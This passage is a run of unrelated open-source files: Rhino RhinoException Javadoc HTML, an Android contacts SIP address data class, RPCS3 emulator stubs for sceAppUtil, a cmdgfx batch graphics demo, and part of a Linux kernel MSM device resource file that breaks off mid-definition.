<TD><CODE><B><A HREF="../../../org/mozilla/javascript/RhinoException.html#printStackTrace(java.io.PrintWriter)">printStackTrace</A></B>(java.io.PrintWriter s)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/mozilla/javascript/RhinoException.html#sourceName()">sourceName</A></B>()</CODE>
<BR>
Get the uri of the script source containing the error, or null
if that information is not available.</TD>
</TR>
</TABLE>
<A NAME="methods_inherited_from_class_java.lang.Throwable"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#EEEEFF" CLASS="TableSubHeadingColor">
<TH ALIGN="left"><B>Methods inherited from class java.lang.Throwable</B></TH>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD><CODE>fillInStackTrace, getCause, getLocalizedMessage, getStackTrace, initCause, printStackTrace, setStackTrace, toString</CODE></TD>
</TR>
</TABLE>
<A NAME="methods_inherited_from_class_java.lang.Object"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#EEEEFF" CLASS="TableSubHeadingColor">
<TH ALIGN="left"><B>Methods inherited from class java.lang.Object</B></TH>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD><CODE>clone, equals, finalize, getClass, hashCode, notify, notifyAll, wait, wait, wait</CODE></TD>
</TR>
</TABLE>
<P>
<!-- ============ METHOD DETAIL ========== -->
<A NAME="method_detail"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TH ALIGN="left" COLSPAN="1"><FONT SIZE="+2">
<B>Method Detail</B></FONT></TH>
</TR>
</TABLE>
<A NAME="getMessage()"><!-- --></A><H3>
getMessage</H3>
<PRE>
public final java.lang.String <B>getMessage</B>()</PRE>
<DL>
<DD><DL>
<DT><B>Overrides:</B><DD><CODE>getMessage</CODE> in class <CODE>java.lang.Throwable</CODE></DL>
</DD>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="details()"><!-- --></A><H3>
details</H3>
<PRE>
public java.lang.String <B>details</B>()</PRE>
<DL>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="sourceName()"><!-- --></A><H3>
sourceName</H3>
<PRE>
public final java.lang.String <B>sourceName</B>()</PRE>
<DL>
<DD>Get the uri of the script source containing the error, or null
if that information is not available.
<P>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="initSourceName(java.lang.String)"><!-- --></A><H3>
initSourceName</H3>
<PRE>
public final void <B>initSourceName</B>(java.lang.String sourceName)</PRE>
<DL>
<DD>Initialize the uri of the script source containing the error.
<P>
<DD><DL>
<DT><B>Parameters:</B><DD><CODE>sourceName</CODE> - the uri of the script source responsible for the error.
It should not be <tt>null</tt>.
<DT><B>Throws:</B>
<DD><CODE>java.lang.IllegalStateException</CODE> - if the method is called more then once.</DL>
</DD>
</DL>
<HR>
<A NAME="lineNumber()"><!-- --></A><H3>
lineNumber</H3>
<PRE>
public final int <B>lineNumber</B>()</PRE>
<DL>
<DD>Returns the line number of the statement causing the error,
or zero if not available.
<P>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="initLineNumber(int)"><!-- --></A><H3>
initLineNumber</H3>
<PRE>
public final void <B>initLineNumber</B>(int lineNumber)</PRE>
<DL>
<DD>Initialize the line number of the script statement causing the error.
<P>
<DD><DL>
<DT><B>Parameters:</B><DD><CODE>lineNumber</CODE> - the line number in the script source.
It should be positive number.
<DT><B>Throws:</B>
<DD><CODE>java.lang.IllegalStateException</CODE> - if the method is called more then once.</DL>
</DD>
</DL>
<HR>
<A NAME="columnNumber()"><!-- --></A><H3>
columnNumber</H3>
<PRE>
public final int <B>columnNumber</B>()</PRE>
<DL>
<DD>The column number of the location of the error, or zero if unknown.
<P>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="initColumnNumber(int)"><!-- --></A><H3>
initColumnNumber</H3>
<PRE>
public final void <B>initColumnNumber</B>(int columnNumber)</PRE>
<DL>
<DD>Initialize the column number of the script statement causing the error.
<P>
<DD><DL>
<DT><B>Parameters:</B><DD><CODE>columnNumber</CODE> - the column number in the script source.
It should be positive number.
<DT><B>Throws:</B>
<DD><CODE>java.lang.IllegalStateException</CODE> - if the method is called more then once.</DL>
</DD>
</DL>
<HR>
<A NAME="lineSource()"><!-- --></A><H3>
lineSource</H3>
<PRE>
public final java.lang.String <B>lineSource</B>()</PRE>
<DL>
<DD>The source text of the line causing the error, or null if unknown.
<P>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="initLineSource(java.lang.String)"><!-- --></A><H3>
initLineSource</H3>
<PRE>
public final void <B>initLineSource</B>(java.lang.String lineSource)</PRE>
<DL>
<DD>Initialize the text of the source line containing the error.
<P>
<DD><DL>
<DT><B>Parameters:</B><DD><CODE>lineSource</CODE> - the text of the source line responsible for the error.
It should not be <tt>null</tt>.
<DT><B>Throws:</B>
<DD><CODE>java.lang.IllegalStateException</CODE> - if the method is called more then once.</DL>
</DD>
</DL>
<HR>
<A NAME="getScriptStackTrace()"><!-- --></A><H3>
getScriptStackTrace</H3>
<PRE>
public java.lang.String <B>getScriptStackTrace</B>()</PRE>
<DL>
<DD>Get a string representing the script stack of this exception.
If optimization is enabled, this corresponds to all java stack elements
with a source name ending with ".js".
<P>
<DD><DL>
<DT><B>Returns:</B><DD>a script stack dump<DT><B>Since:</B></DT>
<DD>1.6R6</DD>
</DL>
</DD>
</DL>
<HR>
<A NAME="getScriptStackTrace(java.io.FilenameFilter)"><!-- --></A><H3>
getScriptStackTrace</H3>
<PRE>
public java.lang.String <B>getScriptStackTrace</B>(java.io.FilenameFilter filter)</PRE>
<DL>
<DD>Get a string representing the script stack of this exception.
If optimization is enabled, this corresponds to all java stack elements
with a source name matching the <code>filter</code>.
<P>
<DD><DL>
<DT><B>Parameters:</B><DD><CODE>filter</CODE> - the file name filter to determine whether a file is a
script file
<DT><B>Returns:</B><DD>a script stack dump<DT><B>Since:</B></DT>
<DD>1.6R6</DD>
</DL>
</DD>
</DL>
<HR>
<A NAME="printStackTrace(java.io.PrintWriter)"><!-- --></A><H3>
printStackTrace</H3>
<PRE>
public void <B>printStackTrace</B>(java.io.PrintWriter s)</PRE>
<DL>
<DD><DL>
<DT><B>Overrides:</B><DD><CODE>printStackTrace</CODE> in class <CODE>java.lang.Throwable</CODE></DL>
</DD>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="printStackTrace(java.io.PrintStream)"><!-- --></A><H3>
printStackTrace</H3>
<PRE>
public void <B>printStackTrace</B>(java.io.PrintStream s)</PRE>
<DL>
<DD><DL>
<DT><B>Overrides:</B><DD><CODE>printStackTrace</CODE> in class <CODE>java.lang.Throwable</CODE></DL>
</DD>
<DD><DL>
</DL>
</DD>
</DL>
<!-- ========= END OF CLASS DATA ========= -->
<HR>
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<A NAME="navbar_bottom"><!-- --></A>
<A HREF="#skip-navbar_bottom" title="Skip navigation links"></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY="">
<TR>
<TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_bottom_firstrow"><!-- --></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY="">
<TR ALIGN="center" VALIGN="top">
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A> </TD>
<TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../index-all.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A> </TD>
</TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
</EM>
</TD>
</TR>
<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../org/mozilla/javascript/RefCallable.html" title="interface in org.mozilla.javascript"><B>PREV CLASS</B></A>
<A HREF="../../../org/mozilla/javascript/Script.html" title="interface in org.mozilla.javascript"><B>NEXT CLASS</B></A></FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../index.html?org/mozilla/javascript/RhinoException.html" target="_top"><B>FRAMES</B></A>
<A HREF="RhinoException.html" target="_top"><B>NO FRAMES</B></A>
<SCRIPT type="text/javascript">
<!--
if(window==top) {
document.writeln('<A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A>');
}
//-->
</SCRIPT>
<NOSCRIPT>
<A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A>
</NOSCRIPT>
</FONT></TD>
</TR>
<TR>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
SUMMARY: NESTED | FIELD | CONSTR | <A HREF="#method_summary">METHOD</A></FONT></TD>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
DETAIL: FIELD | CONSTR | <A HREF="#method_detail">METHOD</A></FONT></TD>
</TR>
</TABLE>
<A NAME="skip-navbar_bottom"></A>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
<HR>
</BODY>
</HTML>
| Java |
/*
* Copyright (C) 2012 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.android.contacts.model.dataitem;
import android.content.ContentValues;
import android.provider.ContactsContract;
import android.provider.ContactsContract.CommonDataKinds.SipAddress;
import com.android.contacts.model.RawContact;
/**
* Represents a sip address data item, wrapping the columns in
* {@link ContactsContract.CommonDataKinds.SipAddress}.
*/
public class SipAddressDataItem extends DataItem {
/* package */ SipAddressDataItem(RawContact rawContact, ContentValues values) {
super(rawContact, values);
}
public String getSipAddress() {
return getContentValues().getAsString(SipAddress.SIP_ADDRESS);
}
/**
* Value is one of SipAddress.TYPE_*
*/
public int getType() {
return getContentValues().getAsInteger(SipAddress.TYPE);
}
public String getLabel() {
return getContentValues().getAsString(SipAddress.LABEL);
}
}
| Java |
#include "stdafx.h"
#include "Emu/System.h"
#include "Emu/ARMv7/PSVFuncList.h"
#include "sceAppUtil.h"
s32 sceAppUtilInit(vm::psv::ptr<const SceAppUtilInitParam> initParam, vm::psv::ptr<SceAppUtilBootParam> bootParam)
{
throw __FUNCTION__;
}
s32 sceAppUtilShutdown()
{
throw __FUNCTION__;
}
s32 sceAppUtilSaveDataSlotCreate(u32 slotId, vm::psv::ptr<const SceAppUtilSaveDataSlotParam> param, vm::psv::ptr<const SceAppUtilSaveDataMountPoint> mountPoint)
{
throw __FUNCTION__;
}
s32 sceAppUtilSaveDataSlotDelete(u32 slotId, vm::psv::ptr<const SceAppUtilSaveDataMountPoint> mountPoint)
{
throw __FUNCTION__;
}
s32 sceAppUtilSaveDataSlotSetParam(u32 slotId, vm::psv::ptr<const SceAppUtilSaveDataSlotParam> param, vm::psv::ptr<const SceAppUtilSaveDataMountPoint> mountPoint)
{
throw __FUNCTION__;
}
s32 sceAppUtilSaveDataSlotGetParam(u32 slotId, vm::psv::ptr<SceAppUtilSaveDataSlotParam> param, vm::psv::ptr<const SceAppUtilSaveDataMountPoint> mountPoint)
{
throw __FUNCTION__;
}
s32 sceAppUtilSaveDataFileSave(vm::psv::ptr<const SceAppUtilSaveDataFileSlot> slot, vm::psv::ptr<const SceAppUtilSaveDataFile> files, u32 fileNum, vm::psv::ptr<const SceAppUtilSaveDataMountPoint> mountPoint, vm::psv::ptr<u32> requiredSizeKB)
{
throw __FUNCTION__;
}
s32 sceAppUtilPhotoMount()
{
throw __FUNCTION__;
}
s32 sceAppUtilPhotoUmount()
{
throw __FUNCTION__;
}
s32 sceAppUtilSystemParamGetInt(u32 paramId, vm::psv::ptr<s32> value)
{
throw __FUNCTION__;
}
s32 sceAppUtilSystemParamGetString(u32 paramId, vm::psv::ptr<char> buf, u32 bufSize)
{
throw __FUNCTION__;
}
s32 sceAppUtilSaveSafeMemory(vm::psv::ptr<const void> buf, u32 bufSize, s64 offset)
{
throw __FUNCTION__;
}
s32 sceAppUtilLoadSafeMemory(vm::psv::ptr<void> buf, u32 bufSize, s64 offset)
{
throw __FUNCTION__;
}
#define REG_FUNC(nid, name) reg_psv_func(nid, &sceAppUtil, #name, name)
psv_log_base sceAppUtil("SceAppUtil", []()
{
sceAppUtil.on_load = nullptr;
sceAppUtil.on_unload = nullptr;
sceAppUtil.on_stop = nullptr;
REG_FUNC(0xDAFFE671, sceAppUtilInit);
REG_FUNC(0xB220B00B, sceAppUtilShutdown);
REG_FUNC(0x7E8FE96A, sceAppUtilSaveDataSlotCreate);
REG_FUNC(0x266A7646, sceAppUtilSaveDataSlotDelete);
REG_FUNC(0x98630136, sceAppUtilSaveDataSlotSetParam);
REG_FUNC(0x93F0D89F, sceAppUtilSaveDataSlotGetParam);
REG_FUNC(0x1E2A6158, sceAppUtilSaveDataFileSave);
REG_FUNC(0xEE85804D, sceAppUtilPhotoMount);
REG_FUNC(0x9651B941, sceAppUtilPhotoUmount);
REG_FUNC(0x5DFB9CA0, sceAppUtilSystemParamGetInt);
REG_FUNC(0x6E6AA267, sceAppUtilSystemParamGetString);
REG_FUNC(0x9D8AC677, sceAppUtilSaveSafeMemory);
REG_FUNC(0x3424D772, sceAppUtilLoadSafeMemory);
});
| Java |
@echo off
cd ..
setlocal ENABLEDELAYEDEXPANSION
cmdwiz setfont 8 & cls
set /a W=176, H=80
set /a W8=W/2, H8=H/2
mode %W8%,%H8% & cmdwiz showcursor 0
set FNT=1& rem 1 or a
if "%FNT%"=="a" mode 30,10
for /F "Tokens=1 delims==" %%v in ('set') do if not %%v==FNT if not %%v==W if not %%v==H set "%%v="
set /a XC=0, YC=0, XCP=4, YCP=5, MODE=0, WW=W*2, WWM=WW+10
set /a BXA=15, BYA=9 & set /a BY=-!BYA!, RX=0, RY=0, RZ=0
set BALLS=""
cmdwiz setbuffersize 360 80
for /L %%a in (1,1,7) do set /a BY+=!BYA!,BX=180 & for /L %%b in (1,1,10) do set /a S=4 & (if %%a == 4 set S=_s) & (if %%b == 3 set S=_s) & set BALLS="!BALLS:~1,-1! & box f 0 db !BX!,!BY!,14,!BYA!"& set /a BX+=!BXA!
cmdgfx "fbox 1 0 04 180,0,180,80 & %BALLS:~1,-1%"
cmdwiz saveblock img\btemp 180 0 136 55
cmdwiz setbuffersize 180 80
set BALLS=
cmdwiz setbuffersize - -
if "%FNT%"=="a" cmdwiz setbuffersize 30 10
call centerwindow.bat 0 -15
set /a FCNT=0, NOF_STARS=200, SDIST=3000
set /a XMID=90/2&set /a YMID=80/2
set /A TX=0,TX2=-2600,RX=0,RY=0,RZ=0,TZ=0,TZ2=0
set BGCOL=0
set COLS=f %BGCOL% 04 f %BGCOL% . f %BGCOL% . f %BGCOL% . f %BGCOL% . f %BGCOL% . f %BGCOL% . f %BGCOL% . f %BGCOL% . 7 %BGCOL% . 7 %BGCOL% . 7 %BGCOL% . 7 %BGCOL% . 7 %BGCOL% . 7 %BGCOL% . 7 %BGCOL% . 7 %BGCOL% . 7 %BGCOL% . 8 %BGCOL% . 8 %BGCOL% . 8 %BGCOL% . 8 %BGCOL% . 8 %BGCOL% . 8 %BGCOL% . 8 %BGCOL% . 8
set I0=myface.txt&set I1=evild.txt&set I2=ugly0.pcx&set I3=mario1.gxy&set I4=emma.txt&set I5=glass.txt&set I6=fract.txt&set I7=checkers.gxy&set I8=mm.txt&set I9=wall.pcx&set I10=btemp.gxy
set /a IC=0, CC=15
set t1=!time: =0!
:REP
for /L %%1 in (1,1,300) do if not defined STOP for %%i in (!IC!) do for %%c in (!CC!) do (
for /F "tokens=1-8 delims=:.," %%a in ("!t1!:!time: =0!") do set /a "a=((((1%%e-1%%a)*60)+1%%f-1%%b)*6000+1%%g%%h-1%%c%%d),a+=(a>>31)&8640000"
if !a! geq 1 (
set /a TX+=7&if !TX! gtr 2600 set TX=-2600
set /a TX2+=7&if !TX2! gtr 2600 set TX2=-2600
if !MODE!==0 start /B /HIGH cmdgfx_gdi "fbox 0 0 04 180,0,180,80 & fbox 1 %BGCOL% 20 0,0,180,80 & 3d objects/starfield200_0.ply 1,1 0,0,0 !TX!,0,0 10,10,10,0,0,0 0,0,2000,10 %XMID%,%YMID%,%SDIST%,0.3 %COLS% & 3d objects/starfield200_1.ply 1,1 0,0,0 !TX2!,0,0 10,10,10,0,0,0 0,0,2000,10 %XMID%,%YMID%,%SDIST%,0.3 %COLS% & 3d objects\cube-t2.obj 5,-1 !RX!,!RY!,!RZ! 0,0,0 100,100,100,0,0,0 1,0,0,0 250,31,600,0.75 0 0 db & block 0 0,0,330,80 0,0 -1 0 0 ? ? s0+(eq(s2,46)+eq(s2,4)+eq(s2,32)+eq(s2,0))*1000+store(char(s0,s1),2)+store(-9+y+cos(!YC!/100+((x)/!BXA!)*0.4+(y/!BYA!)*0.4)*12,1)+store(-17+x+180+sin(!XC!/100+((x)/!BXA!)*0.4+(y/!BYA!)*0.4)*10,0) s1 from 0,0,180,80 & text 9 0 0 Space_c_\g11\g10\g1e\g1f_Enter 1,78" kOf%FNT%:0,0,!WW!,!H!,!W!,!H!
if !MODE!==1 start /B /HIGH cmdgfx_gdi "fbox 0 0 04 180,0,180,80 & fbox 1 %BGCOL% 20 0,0,180,80 & 3d objects/starfield200_0.ply 1,1 0,0,0 !TX!,0,0 10,10,10,0,0,0 0,0,2000,10 %XMID%,%YMID%,%SDIST%,0.3 %COLS% & 3d objects/starfield200_1.ply 1,1 0,0,0 !TX2!,0,0 10,10,10,0,0,0 0,0,2000,10 %XMID%,%YMID%,%SDIST%,0.3 %COLS% & image img\!I%%i! %%c 0 0 e 180,0 0 0 180,80& block 0 0,0,360,80 0,0 -1 0 0 ? ? s0+(eq(s2,46)+eq(s2,4)+eq(s2,32)+eq(s2,0))*1000+store(char(s0,s1),2)+store(0+y+cos(!YC!/100+((x)/!BXA!)*0.4+(y/!BYA!)*0.4)*12,1)+store(0+x+180+sin(!XC!/100+((x)/!BXA!)*0.4+(y/!BYA!)*0.4)*10,0) s1 from 0,0,180,80 & text 9 0 0 Space_c_\g11\g10\g1e\g1f_Enter 1,78" kOf%FNT%:0,0,!WWM!,!H!,!W!,!H!
if exist EL.dat set /p KEY=<EL.dat 2>nul & del /Q EL.dat >nul 2>nul & if "!KEY!" == "" set KEY=0
if !KEY! == 331 set /a XCP-=1 & if !XCP! lss 0 set /a XCP=0
if !KEY! == 333 set /a XCP+=1
if !KEY! == 336 set /a YCP-=1 & if !YCP! lss 0 set /a YCP=0
if !KEY! == 328 set /a YCP+=1
if !KEY! == 112 cmdwiz getch
if !KEY! == 32 set /a IC+=1&if !IC! gtr 10 set /a IC=0
if !KEY! == 99 set /a CC+=1&if !CC! gtr 15 set /a CC=1
if !KEY! == 27 set STOP=1
if !KEY! == 13 set /a MODE=1-!MODE!
set /a XC+=!XCP!, YC+=!YCP!, RX+=5, RY+=7, RZ+=2
set /a KEY=0
set t1=!time: =0!
)
)
if not defined STOP goto REP
endlocal
cmdwiz delay 100 & mode 80,50 & cls
cmdwiz setfont 6 & cmdwiz showcursor 1
del /Q img\btemp.gxy >nul 2>nul
| Java |
/* Copyright (c) 2011, Code Aurora Forum. All rights reserved.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 and
* only version 2 as published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#include <linux/kernel.h>
#include <linux/platform_device.h>
#include <linux/dma-mapping.h>
#include <linux/msm_kgsl.h>
#include <linux/regulator/machine.h>
#include <mach/irqs.h>
#include <mach/msm_iomap.h>
#include <mach/board.h>
#include <mach/dma.h>
#include <mach/dal_axi.h>
#include <asm/mach/flash.h>
#include <asm/hardware/cache-l2x0.h>
#include <asm/mach/mmc.h>
#include <mach/rpc_hsusb.h>
#include <mach/socinfo.h>
#include "devices.h"
#include "devices-msm7x2xa.h"
#include "footswitch.h"
#include "acpuclock.h"
/* Address of GSBI blocks */
#define MSM_GSBI0_PHYS 0xA1200000
#define MSM_GSBI1_PHYS 0xA1300000
/* GSBI QUPe devices */
#define MSM_GSBI0_QUP_PHYS (MSM_GSBI0_PHYS + 0x80000)
#define MSM_GSBI1_QUP_PHYS (MSM_GSBI1_PHYS + 0x80000)
static struct resource gsbi0_qup_i2c_resources[] = {
{
.name = "qup_phys_addr",
.start = MSM_GSBI0_QUP_PHYS,
.end = MSM_GSBI0_QUP_PHYS + SZ_4K - 1,
.flags = IORESOURCE_MEM,
},
{
.name = "gsbi_qup_i2c_addr",
.start = MSM_GSBI0_PHYS,
.end = MSM_GSBI0_PHYS + SZ_4K - 1,
.flags = IORESOURCE_MEM,
},
{
.name = "qup_err_intr",
.start = INT_PWB_I2C,
.end = INT_PWB_I2C,
.flags = IORESOURCE_IRQ,
},
{
.name = "i2c_clk",
.start = 60,
.end = 60,
.flags = IORESOURCE_IO,
},
{
.name = "i2c_sda",
.start = 61,
.end = 61,
.flags = IORESOURCE_IO,
},
};
/* Use GSBI0 QUP for /dev/i2c-0 */
struct platform_device msm_gsbi0_qup_i2c_device = {
.name = "qup_i2c",
.id = MSM_GSBI0_QUP_I2C_BUS_ID,
.num_resources = ARRAY_SIZE(gsbi0_qup_i2c_resources),
.resource = gsbi0_qup_i2c_resources,
};
static struct resource gsbi1_qup_i2c_resources[] = {
{
.name = "qup_phys_addr",
.start = MSM_GSBI1_QUP_PHYS,
.end = MSM_GSBI1_QUP_PHYS + SZ_4K - 1,
.flags = IORESOURCE_MEM,
},
{
.name = "gsbi_qup_i2c_addr",
.start = MSM_GSBI1_PHYS,
.end = MSM_GSBI1_PHYS + SZ_4K - 1,
.flags = IORESOURCE_MEM,
},
{
.name = "qup_err_intr",
.start = INT_ARM11_DMA,
.end = INT_ARM11_DMA,
.flags = IORESOURCE_IRQ,
},
{
.name = "i2c_clk",
.start = 131,
.end = 131,
.flags = IORESOURCE_IO,
},
{
.name = "i2c_sda",
.start = 132,
.end = 132,
.flags = IORESOURCE_IO,
},
};
/* Use GSBI1 QUP for /dev/i2c-1 */
struct platform_device msm_gsbi1_qup_i2c_device = {
.name = "qup_i2c",
.id = MSM_GSBI1_QUP_I2C_BUS_ID,
.num_resources = ARRAY_SIZE(gsbi1_qup_i2c_resources),
.resource = gsbi1_qup_i2c_resources,
};
#define MSM_HSUSB_PHYS 0xA0800000
static struct resource resources_hsusb_otg[] = {
{
.start = MSM_HSUSB_PHYS,
.end = MSM_HSUSB_PHYS + SZ_1K - 1,
.flags = IORESOURCE_MEM,
},
{
.start = INT_USB_HS,
.end = INT_USB_HS,
.flags = IORESOURCE_IRQ,
},
};
static u64 dma_mask = 0xffffffffULL;
struct platform_device msm_device_otg = {
.name = "msm_otg",
.id = -1,
.num_resources = ARRAY_SIZE(resources_hsusb_otg),
.resource = resources_hsusb_otg,
.dev = {
.dma_mask = &dma_mask,
.coherent_dma_mask = 0xffffffffULL,
},
};
static struct resource resources_gadget_peripheral[] = {
{
.start = MSM_HSUSB_PHYS,
.end = MSM_HSUSB_PHYS + SZ_1K - 1,
.flags = IORESOURCE_MEM,
},
{
.start = INT_USB_HS,
.end = INT_USB_HS,
.flags = IORESOURCE_IRQ,
},
};
struct platform_device msm_device_gadget_peripheral = {
.name = "msm_hsusb",
.id = -1,
.num_resources = ARRAY_SIZE(resources_gadget_peripheral),
.resource = resources_gadget_peripheral,
.dev = {
.dma_mask = &dma_mask,
.coherent_dma_mask = 0xffffffffULL,
},
};
static struct resource resources_hsusb_host[] = {
{
.start = MSM_HSUSB_PHYS,
.end = MSM_HSUSB_PHYS + SZ_1K - 1,
.flags = IORESOURCE_MEM,
},
{
.start = INT_USB_HS,
.end = INT_USB_HS,
.flags = IORESOURCE_IRQ,
},
};
struct platform_device msm_device_hsusb_host = {
.name = "msm_hsusb_host",
.id = 0,
.num_resources = ARRAY_SIZE(resources_hsusb_host),
.resource = resources_hsusb_host,
.dev = {
.dma_mask = &dma_mask,
.coherent_dma_mask = 0xffffffffULL,
},
};
static struct platform_device *msm_host_devices[] = {
&msm_device_hsusb_host,
};
int msm_add_host(unsigned int host, struct msm_usb_host_platform_data *plat)
{
struct platform_device *pdev;
pdev = msm_host_devices[host];
if (!pdev)
return -ENODEV;
pdev->dev.platform_data = plat;
return platform_device_register(pdev);
}
static struct resource msm_dmov_resource[] = {
{
.start = INT_ADM_AARM,
.end = (resource_size_t)MSM_DMOV_BASE,
.flags = IORESOURCE_IRQ,
},
};
struct platform_device msm_device_dmov = {
.name = "msm_dmov",
.id = -1,
.resource = msm_dmov_resource,
.num_resources = ARRAY_SIZE(msm_dmov_resource),
};
struct platform_device msm_device_smd = {
.name = "msm_smd",
.id = -1,
};
static struct resource resources_uart1[] = {
{
.start = INT_UART1,
.end = INT_UART1,
.flags = IORESOURCE_IRQ,
},
{
.start = MSM_UART1_PHYS,
.end = MSM_UART1_PHYS + MSM_UART1_SIZE - 1,
.flags = IORESOURCE_MEM,
},
};
static struct resource resources_uart2[] = {
{
.start = INT_UART2,
.end = INT_UART2,
.flags = IORESOURCE_IRQ,
},
{
.start = MSM_UART2_PHYS,
.end = MSM_UART2_PHYS + MSM_UART2_SIZE - 1,
.flags = IORESOURCE_MEM,
},
};
static struct resource resources_uart3[] = {
{
.start = INT_UART3,
.end = INT_UART3,
.flags = IORESOURCE_IRQ,
},
{
.start = MSM_UART3_PHYS,
.end = MSM_UART3_PHYS + MSM_UART3_SIZE - 1,
.flags = IORESOURCE_MEM,
},
};
struct platform_device msm_device_uart1 = {
.name = "msm_serial",
.id = 0,
.num_resources = ARRAY_SIZE(resources_uart1),
.resource = resources_uart1,
};
struct platform_device msm_device_uart2 = {
.name = "msm_serial",
.id = 1,
.num_resources = ARRAY_SIZE(resources_uart2),
.resource = resources_uart2,
};
struct platform_device msm_device_uart3 = {
.name = "msm_serial",
.id = 2,
.num_resources = ARRAY_SIZE(resources_uart3),
.resource = resources_uart3,
};
#define MSM_UART1DM_PHYS 0xA0200000
static struct resource msm_uart1_dm_resources[] = {
{
.start = MSM_UART1DM_PHYS,
.end = MSM_UART1DM_PHYS + PAGE_SIZE - 1,
.flags = IORESOURCE_MEM,
},
{
.start = INT_UART1DM_IRQ,
.end = INT_UART1DM_IRQ,
.flags = IORESOURCE_IRQ,
},
{
.start = INT_UART1DM_RX,
.end = INT_UART1DM_RX,
.flags = IORESOURCE_IRQ,
},
{
.start = DMOV_HSUART1_TX_CHAN,
.end = DMOV_HSUART1_RX_CHAN,
.name = "uartdm_channels",
.flags = IORESOURCE_DMA,
},
{
.start = DMOV_HSUART1_TX_CRCI,
.end = DMOV_HSUART1_RX_CRCI,
.name = "uartdm_crci",
.flags = IORESOURCE_DMA,
},
};
static u64 msm_uart_dm1_dma_mask = DMA_BIT_MASK(32);
struct platform_device msm_device_uart_dm1 = {
.name = "msm_serial_hs",
.id = 0,
.num_resources = ARRAY_SIZE(msm_uart1_dm_resources),
.resource = msm_uart1_dm_resources,
.dev = {
.dma_mask = &msm_uart_dm1_dma_mask,
.coherent_dma_mask = DMA_BIT_MASK(32),
},
};
#define MSM_UART2DM_PHYS 0xA0300000
static struct resource msm_uart2dm_resources[] = {
{
.start = MSM_UART2DM_PHYS,
.end = MSM_UART2DM_PHYS + PAGE_SIZE - 1,
.name = "uartdm_resource",
.flags = IORESOURCE_MEM,
},
{
.start = INT_UART2DM_IRQ,
.end = INT_UART2DM_IRQ,
.flags = IORESOURCE_IRQ,
},
};
struct platform_device msm_device_uart_dm2 = {
.name = "msm_serial_hsl",
.id = 0,
.num_resources = ARRAY_SIZE(msm_uart2dm_resources),
.resource = msm_uart2dm_resources,
};
#define MSM_NAND_PHYS 0xA0A00000
#define MSM_NANDC01_PHYS 0xA0A40000
#define MSM_NANDC10_PHYS 0xA0A80000
#define MSM_NANDC11_PHYS 0xA0AC0000
#define EBI2_REG_BASE 0xA0D00000
static struct resource resources_nand[] = {
[0] = {
.name = "msm_nand_dmac",
.start = DMOV_NAND_CHAN,
.end = DMOV_NAND_CHAN,
